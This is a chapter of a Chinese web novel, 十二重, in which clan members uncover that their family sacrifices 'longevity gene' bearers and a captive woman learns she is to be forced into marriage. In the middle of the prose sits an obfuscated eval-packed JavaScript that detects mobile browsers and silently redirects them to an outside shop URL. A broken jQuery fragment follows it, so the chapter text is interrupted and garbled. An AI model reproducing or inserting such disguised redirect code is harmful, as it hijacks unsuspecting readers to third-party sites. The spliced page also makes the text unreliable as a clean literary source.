文趣网 > 其他小说 > 十二重 > 124. 成魔(三)
    表面奉为神明的存在,原来只是个阴谋。

    “代代成为供养家族长生的牺牲品。”

    一秒,两秒,三秒……空辞咽了咽心中的震惊,贴着墙壁慢慢滑下去,背靠着冰冷的墙面,半蹲半坐在地上,他的嘴唇微微张着,想说什么……

    曾经整理过家族的手札,里面记录里着观山氏族的家史,记载着明灭后的历代观山,皆死于非命的下场,毫无例外,没有一人善终。

    太过巧合的结果,惹人生疑。犹如一颗种子,在他少年时便被埋进了心里,怀疑随着年岁长大,空辞也逐渐有了解答的能力。

    得益于出身本家,也得益于父亲的掌事身份,让他可以长期接触大长老等诸位宗老,因为年龄尚小,议事决策又没有人防备着他。成年后,父亲更是对空辞赋予重望,有意让他成为接班人,日以继夜手把手传授族内案程和日常事务……

    这些的便利条件,一次一次为少年的自己解答了怀疑,同时又不断更新新的怀疑答案。

    数年坚持,兜兜转转,拼凑的碎片,终于拼成完整的顺序……

    “受益人都是你我。”空辞的声音静静流淌在空气里,他说得属实,也更为现实。

    他的目光落在衡生脸上,像在审视什么,“现在是我们,未来是我们的子孙后代。”

    他顿了顿,忽然问了一句:“得益人既然是你,你又为何选择与家族对立?”

    人皆有私心,人皆有私欲,怎会有人亲自砸烂自己的饭碗,不顾一切的成全别人呢?

    这一句话,似乎问住了衡生,迟迟没有听到回答。

    夜风从窗缝里灌进来,吹得空辞肩头微微一缩,下意识避开冷风的侵袭。

    衡生慢慢摊开自己的手掌,掌心干干净净,亦空空如也……然而,他像是惊觉了什么一般,目光渐渐沉了下去,变得晦暗复杂:“我的人生到现在为止,前十年都在朝着一个目标努力。”他的声音很轻,像是在对自己说话,对自己的一种肯定:“带着本家数年的培养,宗老们的期望……”

    顿了顿,衡生慢慢将手指收拢,攥成一个拳,力道极大,指节泛白,骨节发出极轻的声响,仿佛是在用尽全身的力气,去下定某种不可回转的决心。

    “我的人生理想,就是成为观山如是,为家族肩负使命,为全族的未来延续昌盛。”

    他再次看向空辞时,那目光里的晦暗已经散了,只剩一种坚定的清醒。

    “今日是程阔魂飞魄散,明日还有张阔,李阔,赵阔!”

    “今日是霍祈楼被剥夺人的意志,明日也会有张祈楼,刘祈楼……”

    “你觉得,这样对吗?”衡生轻轻问道。

    空辞的嘴唇翕动了一下,只听见对方继续说:“编织着一个个谎言,靠着牺牲他们的血肉,成就家族的所谓昌盛延续……”

    “你想要推翻他们?”空辞忽然问道,字字落在实处,听着极有力量。

    “难道,你不想?”衡生目光沉沉地落在空辞脸上。

    两人对视了一瞬,这一眼里没有敌意,也没有温情,只是两个站在悬崖边上的人,看着对面摇摇欲坠的家族,终于确认了对方也站在这里。

    *

    “你这么又来了?”荣箐很是无奈的表情,看着门口站着的高大影子。

    她坐在窗边的椅子上,手里翻着一本不知从哪里来的旧书稿,翻来翻去也没看进去几行字。

    话音落地的时候,衡生也迈步走了进来,站在她面前几步远的地方,他的目光落在她脸上,多了几分复杂,似乎想要说些什么,却又不知道从何说起。

    一种明晃晃的担忧写在他的眉宇间,连他那双平时看不出情绪的眼睛里,都浮着一层压得很沉的东西。

    荣箐一眼便发现了对方的异样,只是她猜不出来缘由。

    “对不起,我没有办法让你离开这里。”衡生带着一脸的歉意说道。

    这不废话么……

    荣箐没忍住又翻了个白眼,但没什么话想要怼衡生,也没有什么怒火。

    没办法,拿人手短,吃人嘴软,好吃好睡了这么些天,除了不能离开这个院子,她倒是没有什么不自在的地方。

    “不用道歉,你给过选择了,是我要跟你回到这里找他的。”

    再者说了,她压根就没指望过他能帮助自己什么,在这家规森严,礼法纲常遵古的观山氏族里,衡生只是个普通不能再普通的“打手”,他能有什么力量帮助自己。

    但对方很少见的情绪外露,倒让荣箐多了几分心思,她尽量调整自己的呼吸,抬眼看他:“你怎么了?”

    “是发生了什么事儿,让你不开心了?”

    衡生没有立刻回答,他站在那里,内心不断的踌躇,犹豫,嘴唇也抿成一条线

    过了好一会儿,他慢慢平复了,也终于开了口:“以我现在的身份,见不到霍祈楼。”

    这倒是句实话,荣箐心里免不了的担心,只是没有表露出来而已,她一个行走的“软肋”,很容易就会拖着对方的后腿。

    “我想告诉你的是……”

    随着,衡生的下一句话说出,荣箐的手指不由地在膝上微微收紧了,她的呼吸跟着放轻了,连带着整个人的重心都往前倾了半分。

    “大长老验证了他血液里的长生基因,要让霍祈君供养家族延续。”

    顿了顿,他的目光垂下去,落在自己脚下,既不能说得太过于高深,也斟酌该怎么把话说得清楚些,又不会一下子把人压垮:“霍祈楼这辈子都不能离开这里,你也不能离开这里了。”

    “因为大长老将要为你们举行婚礼,由你为霍祈楼生下第二代带有血麒麟的长生基因,而你们的孩子长大后,继续供养家族延续,代代相传,永不断续。”

    “什么……”

    荣箐张了张嘴,又合上,她想说些什么,但是这一秒,脑子里全是空白……

    仿佛是信息量过载,一瞬天旋地转般的摇晃,她觉得自己迷失在了这里

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947186|210378||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ……

    “荣箐……”耳畔响起熟悉的清冷,然而向自己跑过来的人,却不是自己想见的那个人。

    一种铺天盖地的痛,霎时,从她心口最深处蔓延开来,每一根神经末梢里带着寒颤。

    “他的性格不会屈服,他不会同意的,他绝不会同意!”她使劲的摇了摇头,不可置信的语气,然而,看着面前的衡生一脸难以抑制的表情,看着他那些没有说完的、克制着的话时,她的声音一点一点地弱了下去。

    “把我们当成了什么?”她的声音忽然拔高,带着一种近乎嘶哑的愤慨,“圈养的家畜吗……”

    她挣脱开对方的手,刚要发泄什么——一下子,荣箐又愣住了,足足愣了很久,她的手指才缓缓抬起来,指向自己。

    为什么这样的结果,他能安静地选择接受一切?

    “我!”

    一下子,似乎找到了一个基点,一下子,有了明确的指向。

    差点忘了,她的身份摆在那里,她不只是她自己,她更是霍祈楼的“软肋”,是旁人拿她做的筹码,威胁,逼迫着霍祈楼低头就范。

    “是我……”像被人从头顶浇了一盆冰水,从里到外,全都冻住了,荣箐慢慢低下头,看着自己的手,干干净净的,什么都没做过的样子。

    但她忽然觉得自己的手脏的很,她活在这里的每一刻,都能成为把他往深渊里拽的“帮凶”。

    为了自己,他得认命做一辈子的药引,而她,就是拴住他的“最牢靠”的锁链。

    眼泪大颗大颗的砸在她的膝上,砸在她攥紧的手背上,荣箐没有出声,肩膀却在止不住地抖……

    衡生蹲在她面前,看着对方的伤心,看着她的肩膀发抖,嘴唇动了动,什么都没说出来……

    转述的真相,正在一点一点地碾碎着荣箐的脊梁,而他却是无力相帮……

    不知过了多久,荣箐才抬起了头,眼睛红得厉害,脸上全是泪痕,但她一点也不在意,似乎理智正在回寰,犹如暴风雨过后,水面终于重新合拢。

    “如果什么都很容易……”她的声音哑得几乎听不出原来的调子,“那还叫什么选择。”

    说这话时,荣箐是看着衡生说的,又像是透过衡生,看着更远的地方。

    那个地方有一个人,替她扛下了所有,连一声疼都不肯喊的人……

    “衡生说,你想要见我。”

    几个小时后,空辞趁着夜色渐浓,避开了所有的耳目,独自一人悄悄来到关押荣箐的院子。

    彼时,她站在窗前,隔着半开的窗户与匆匆来到这里的衡生,打了一个照面。

    四目相对的一刻,谁也没有开口,只是目光定在对方身上,久久未散。

    女人脸上还留着干涸的泪痕,但她的神态很是平静,平静得让人心里无端发寒。

    空辞忽然觉得这个女人和他想象中完全不一样,最初知道她的事情后,他还在暗暗猜测,究竟是怎样的女人,能让前任观山动了凡心。